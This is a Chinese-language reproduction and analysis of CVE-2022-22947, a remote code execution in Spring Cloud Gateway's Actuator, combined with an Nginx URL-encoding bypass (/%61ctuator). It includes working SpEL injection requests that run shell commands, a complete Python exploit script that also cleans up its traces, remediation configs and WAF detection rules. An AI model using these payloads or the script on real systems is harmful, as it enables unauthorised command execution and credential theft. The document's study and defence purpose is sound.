CVE-2022-22947 Spring Cloud Gateway Actuator 未授权 RCE(含 Nginx 编码绕过)复现与分析

漏洞编号: CVE-2022-22947 CVSS: 10.0(Critical) 类型: Remote Code Execution(SpEL 注入) 影响组件: Spring Cloud Gateway(Actuator 端点) 影响版本: Spring Cloud Gateway < 3.1.1、< 3.0.7 利用前提: Actuator Gateway 端点对外可访问(无需认证)


一、漏洞概述

Spring Cloud Gateway 是 Spring 官方推出的第二代微服务网关,基于 Spring Boot 2.x、Project Reactor 和 Spring WebFlux 构建,旨在提供一种简单高效的统一 API 路由管理方式,并替代第一代网关 Zuul。由于其内置的 Actuator 端点可对路由进行动态增删改查,当该端点未做访问控制直接对外暴露时,攻击者可通过构造包含 SpEL(Spring Expression Language)表达式的 Gateway Filter,在路由刷新时触发表达式解析,进而通过 T(java.lang.Runtime).getRuntime().exec() 实现任意命令执行。

本次分析的目标是一个基于 FEBS Cloud 架构的微服务系统,其入口部署了 Spring Cloud Gateway,并由 Nginx 反向代理转发流量。Nginx 配置了针对 /actuator 关键字的访问拦截,但该拦截可被 URL 编码轻易绕过,导致后端 Gateway 实例直接暴露。本漏洞的利用链由两个独立缺陷叠加构成:

  • Nginx 黑名单绕过: Nginx 对 /actuator 字符串做字面匹配,使用 /%61ctuator(%61 为字符 a 的 URL 编码)即可让请求透传到后端。

  • SpEL 注入 RCE: Spring Cloud Gateway 在解析 Filter 参数值时使用了 StandardEvaluationContext(允许任意方法调用),而不是受限的 SimpleEvaluationContext,从而在路由刷新阶段触发攻击者注入的 SpEL 表达式。

实际危害: 网关作为所有微服务流量的统一入口,被接管后攻击者不仅可以读取 Nacos 配置中心内的全部敏感凭据(数据库密码、Redis 密码、JWT 密钥),还可横向渗透到内部其他微服务节点,并可通过劫持/篡改经过网关的请求和响应植入持久化后门。

二、前置知识

2.1 Spring Cloud Gateway 路由模型

Spring Cloud Gateway 通过路由(Route)、断言(Predicate)、过滤器(Filter) 三要素构建请求转发逻辑:

  • Route:由 ID、目标 URI、Predicate 集合和 Filter 集合组成,是网关的最基本构建块。

  • Predicate:使用 Java 8 断言函数式接口,匹配 HTTP 请求的任意属性(如 Path、Host、Header 等)。

  • Filter:在请求转发前后对请求/响应进行修改。Spring Cloud Gateway 内置了大量 Filter 工厂,例如 AddResponseHeader(添加响应头)、RewritePath(重写路径)等,这些 Filter 的参数值在解析阶段支持 SpEL 表达式。

正是这一特性——Filter 参数值支持 SpEL 解析——构成了 CVE-2022-22947 的利用基础。

2.2 Spring Boot Actuator

Actuator 是 Spring Boot 提供的生产级监控和管理模块,通过一系列 HTTP 端点暴露应用运行时信息:

端点 作用 是否敏感
/actuator 端点索引页,列出所有已启用的端点 低
/actuator/health 健康检查信息 低
/actuator/env 环境变量与配置属性(含密码) 高
/actuator/gateway/routes 网关路由 CRUD(CVE-2022-22947 利用的核心) 极高
/actuator/gateway/refresh 刷新路由缓存,触发 SpEL 解析 极高

生产环境应当通过 management.endpoints.web.exposure.include 精确控制暴露的端点,并配合 Spring Security 强制认证。

2.3 SpEL 表达式与 StandardEvaluationContext

Spring Expression Language(SpEL)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。SpEL 解析时使用的 EvaluationContext 有两种实现:

  • StandardEvaluationContext: 功能完整,支持方法调用、构造器调用、类型引用(T(java.lang.Runtime)),存在 RCE 风险。

  • SimpleEvaluationContext: 受限版本,仅支持数据读写、集合操作,禁止方法调用和类型引用,适合处理不可信输入。

CVE-2022-22947 的根因是:Spring Cloud Gateway 在 org.springframework.cloud.gateway.support.Configutable 的 getValue 方法中使用了 StandardEvaluationContext 解析 Filter 参数,而该参数值可通过 Actuator API 由外部输入完全控制。

三、复现步骤

环境说明:本文所有目标地址均做脱敏处理,统一记为 http://target:8080。完整 PoC 见第四节。

3.1 识别目标技术栈

访问网关根路径,根据响应内容初步判断组件类型:

1
2
GET / HTTP/1.1
Host: target:8080

响应体仅一行明文:

1
febs cloud gateway

该响应特征表明目标为 Spring Cloud Gateway 实例(具体为基于 FEBS Cloud 架构的微服务网关),CVE-2022-22947 的应用范围与该组件完全吻合。

3.2 Nginx URL 编码绕过访问 Actuator

先尝试直接访问 Actuator 索引页:

1
2
GET /actuator HTTP/1.1
Host: target:8080

响应:

1
2
3
4
5
6
7
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>

由响应头中的 nginx 标识可判断:Nginx 反向代理配置了对 /actuator 关键字的字面匹配拦截。常见错误配置如下:

1
2
3
4
location ~* /actuator {
deny all;
return 403;
}

Nginx 的 location ~* 使用未解码的原始 URI 进行正则匹配,只要让编码后的 URI 不匹配 /actuator 字符串即可绕过。将字符 a 替换为其 URL 编码 %61:

1
2
GET /%61ctuator HTTP/1.1
Host: target:8080

响应(200 OK,返回完整的 Actuator 端点索引):

image-20260618162411109

关键观察:响应中 href 出现了 %2561ctuator——这是 Nginx 将 %61 透传给后端后,后端再次 URL 编码产生的二次编码现象。这恰好证明 Nginx 未对路径做规范化解码,是黑名单型 WAF 的典型缺陷。

3.3 枚举网关路由配置

通过 Gateway Actuator 端点查询当前所有路由:

1
2
GET /%61ctuator/gateway/routes HTTP/1.1
Host: target:8080

响应:

image-20260618162520226

可见 Gateway 已对接多个内部微服务,路由 ID、负载均衡 URI、断言规则、Filter 链全部明文可见。同时 /%61ctuator/gateway/refresh 也可访问——这是 CVE-2022-22947 利用链的两个必需端点。

3.4 注入含 SpEL 的恶意路由

构造一个携带 SpEL 表达式的恶意 Filter,将其作为 AddResponseHeader 的 value 参数。表达式内嵌调用 Runtime.exec("id"),并通过 Scanner 读取命令输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /%61ctuator/gateway/routes/pwn HTTP/1.1
Host: target:8080
Content-Type: application/json

{
"id": "pwn",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "X-RCE",
"value": "#{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"id\"}).getInputStream()).useDelimiter(\"\\\\A\").next()}"
}
}],
"uri": "http://example.com",
"predicates": [{"name": "Path", "args": {"_genkey_0": "/pwn/**"}}],
"order": 0
}

响应:

image-20260618162647098

SpEL 载荷拆解:

  • #{...}:SpEL 表达式定界符,Gateway 解析 Filter 参数时会识别该符号。

  • T(java.lang.Runtime):通过 T() 操作符引用 Java 类型。

  • .getRuntime().exec(new String[]{\"sh\",\"-c\",\"id\"}):执行 id 命令。使用数组形式是为了支持管道/重定向等 shell 特性。

  • new java.util.Scanner(...).useDelimiter(\"\\\\A\").next():读取 InputStream 全部内容到字符串。 \\A 表示输入开头,配合 next() 一次性读取整个流。

3.5 刷新路由缓存触发 SpEL 解析

新创建的路由只有在刷新缓存后才会被 Gateway 实际加载,refresh 接口会触发 SpEL 表达式解析:

1
2
3
4
POST /%61ctuator/gateway/refresh HTTP/1.1
Host: target:8080
Content-Type: application/json

响应:

1
HTTP/1.1 200 OK

这一步是漏洞发生的真正触发点——Gateway 在加载新路由时调用 getValue 解析 #{...} 表达式,命令在此刻执行。

3.6 读取命令执行结果

由于 SpEL 表达式执行结果会被写入 Filter 的 value 字段,再次查询路由即可拿到执行结果:

1
2
GET /%61ctuator/gateway/routes HTTP/1.1
Host: target:8080

响应:

image-20260618162745830
1
2
3
4
5
6
{
"route_id": "pwn",
"filters": [
"[AddResponseHeader X-RCE = 'uid=1002(svc) gid=1002(svc) groups=1002(svc),10(wheel)\n']"
]
}

命令执行结果:网关进程以服务账户(脱敏记为 svc)身份运行,且该账户属于 wheel 组(部分发行版可借此切换到 root)。

3.7 附加验证:读取系统属性

如果只想验证 SpEL 解析能力而无须执行系统命令(降低日志告警噪音),可使用更温和的 Payload:

1
{"name":"AddResponseHeader","args":{"name":"X-SysName","value":"#{T(System).getProperty('os.name')}"}}

刷新后查询路由:

1
{"route_id":"spel_poc","filters":["[AddResponseHeader X-SysName = 'Linux']"]}

返回 Linux 即证明 SpEL 表达式可被解析,漏洞确认存在。

四、自动化 PoC 脚本

将上述流程封装为 Python 脚本,便于在授权测试中快速验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import time
import urllib3
urllib3.disable_warnings()

TARGET = "http://target:8080"
ACTUATOR = "/%61ctuator" # URL 编码绕过 Nginx 的 /actuator 拦截
CMD = "id" # 需要执行的命令

# Step 1: 验证 Actuator 端点可达(绕过 Nginx)
resp = requests.get(f"{TARGET}{ACTUATOR}", timeout=15)
assert resp.status_code == 200, f"[-] Actuator 不可达: {resp.status_code}"
print("[+] Actuator 端点可达(URL 编码绕过 Nginx)")

# Step 2: 创建含 SpEL 注入的路由
route_id = "pwn_poc"
spel_payload = (
'#{{new java.util.Scanner(T(java.lang.Runtime).getRuntime()'
'.exec(new String[]{{"sh","-c","{cmd}"}}).getInputStream())'
'.useDelimiter("\\\\A").next()}}'
).format(cmd=CMD)

route_data = {
"id": route_id,
"filters": [{"name": "AddResponseHeader", "args": {"name": "X-RCE", "value": spel_payload}}],
"uri": "http://example.com",
"predicates": [{"name": "Path", "args": {"_genkey_0": f"/{route_id}/**"}}],
"order": 0
}
resp = requests.post(f"{TARGET}{ACTUATOR}/gateway/routes/{route_id}", json=route_data, timeout=15)
assert resp.status_code == 201, f"[-] 创建路由失败: {resp.status_code}"
print(f"[+] 恶意路由创建成功: {route_id}")

# Step 3: 刷新路由缓存,触发 SpEL 解析
resp = requests.post(f"{TARGET}{ACTUATOR}/gateway/refresh", timeout=15)
assert resp.status_code == 200, "[-] 刷新失败"
print("[+] 路由缓存刷新成功(SpEL 已执行)")
time.sleep(2)

# Step 4: 读取命令执行结果
resp = requests.get(f"{TARGET}{ACTUATOR}/gateway/routes", timeout=15)
for r in resp.json():
if r["route_id"] == route_id:
for f in r["filters"]:
if "X-RCE" in str(f):
print(f"[+] 命令执行结果: {f}")

# Step 5: 清理痕迹
requests.delete(f"{TARGET}{ACTUATOR}/gateway/routes/{route_id}", timeout=15)
requests.post(f"{TARGET}{ACTUATOR}/gateway/refresh", timeout=15)
print("[+] 清理完成")

使用提示:将 TARGET 替换为目标实际地址,CMD 修改为需要执行的命令。脚本末尾会自动删除注入路由并刷新缓存,但审计日志中仍可能保留路由创建/删除记录。

五、漏洞影响

  • 服务账户权限获取:攻击者以网关进程身份执行任意命令,可直接读取同账户可访问的全部文件。

  • 配置中心泄露:通过读取 bootstrap.yml 或环境变量可获取 Nacos 地址和凭据,进而拉取全部微服务配置——包含数据库密码、Redis 密码、JWT 签名密钥、第三方 API Key 等高敏感信息。

  • 横向渗透:网关通常与内部所有微服务网络可达,可作为跳板访问内网 MySQL、Redis、Eureka/Nacos、其他业务节点。

  • 流量劫持:网关是统一流量入口,攻击者可注入新的 Filter 实现请求/响应篡改、凭证窃取、隐蔽通道。

  • 持久化:结合 cron、systemd、SSH 公钥写入等方式植入后门,重启后仍可维持访问。

六、修复建议

6.1 升级 Spring Cloud Gateway

官方修复版本:

  • 3.1.x ≥ 3.1.1

  • 3.0.x ≥ 3.0.7

  • 旧版本(2.x)用户应升级到 3.0.7+ 或评估迁移方案。

修复方案的核心是将 Filter 参数解析从 StandardEvaluationContext 切换到受限的 SimpleEvaluationContext 或显式禁用 SpEL 解析。

6.2 收紧 Actuator 端点暴露

1
2
3
4
5
6
7
8
9
10
11
12
13
# application.yml
management:
endpoints:
web:
exposure:
exclude: gateway,env,beans,configprops # 关闭危险端点
# 或采用白名单:
# include: health,info
endpoint:
gateway:
enabled: false # 生产环境直接禁用 Gateway Actuator
server:
address: 127.0.0.1 # 仅监听本地

6.3 Actuator 强制认证

通过 Spring Security 为 Actuator 端点强制认证:

1
2
3
4
5
6
7
8
9
10
11
@Configuration
public class ActuatorSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.requestMatcher(EndpointRequest.toAnyEndpoint())
.authorizeRequests().anyRequest().hasRole("ACTUATOR_ADMIN")
.and()
.httpBasic();
}
}

6.4 修复 Nginx 编码绕过

Nginx 黑名单式拦截本质上是不可靠的,应当改为白名单 + 解码后匹配:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 错误:基于原始 URI 的关键字匹配,可被 URL 编码绕过
location ~* /actuator {
deny all;
}

# 正确:解码后使用精确前缀匹配,并强制业务路径白名单
location / {
# 业务路径白名单
location ~ ^/(auth|system|portal|api)/ {
proxy_pass http://gateway_backend;
}
# 其他敏感路径全部拒绝
location ~ ^/actuator {
deny all;
}
location / {
proxy_pass http://gateway_backend;
}
}

关键原则:proxy_pass 之前应确保 $uri 是解码后的路径(Nginx 默认对 $uri 解码一次),并对 /actuator 做绝对拒绝;对于必须暴露的端点(如 /actuator/health),单独放行并要求来源 IP 白名单。

6.5 WAF / IDS 检测规则

建议增加以下检测规则:

  • 请求侧:对包含 /%61ctuator、/%2561ctuator、/actuator/gateway/routes 等 URL 编码变体的请求告警。

  • 请求体侧:对请求体中包含 T(java.lang.Runtime)、getRuntime().exec、java.util.Scanner 的请求一律拦截。

  • 日志侧:监控 Gateway 路由的异常增删(特别是来自外部 IP 的 POST /actuator/gateway/routes)。

七、关键说明

  1. Nginx 编码绕过并非本 CVE 的必需环节。 即使没有 Nginx 拦截,只要 /actuator/gateway/* 端点对公网开放,Spring Cloud Gateway 受影响版本均可被直接利用。本案例的特殊性在于企业以为通过 Nginx 拦截已经修复,结果被 %61 一个字符绕过。

  2. SpEL 表达式只在路由刷新时执行一次。 多次查询路由不会重复触发;如需多次执行命令,需要重新 POST /refresh。

  3. 命令执行结果通过查询路由获取,而非通过 HTTP 响应头。 这是因为 AddResponseHeader 是按需触发的 Filter,需要请求匹配到对应的 Predicate 才会写入响应头。直接 GET /routes 查询时,Filter 的 value 字段已被求值并存储在路由缓存中,是最简单的回显方式。

  4. 清理痕迹不应依赖 DELETE /routes/{id}。 Spring Boot Actuator 的访问日志(如已配置)以及上游 Nginx/Gateway 的访问日志均会保留 POST 记录;后端进程的 JVM 日志也可能记录了 SpEL 解析异常。安全团队应将这些日志纳入 SIEM 监控。

  5. 本漏洞的修复优先级是 Critical 级别。 一旦被利用,攻击者可同时拿到网关主机权限 + 所有微服务的数据库凭据,影响范围远超单点 RCE。

上一篇
下一篇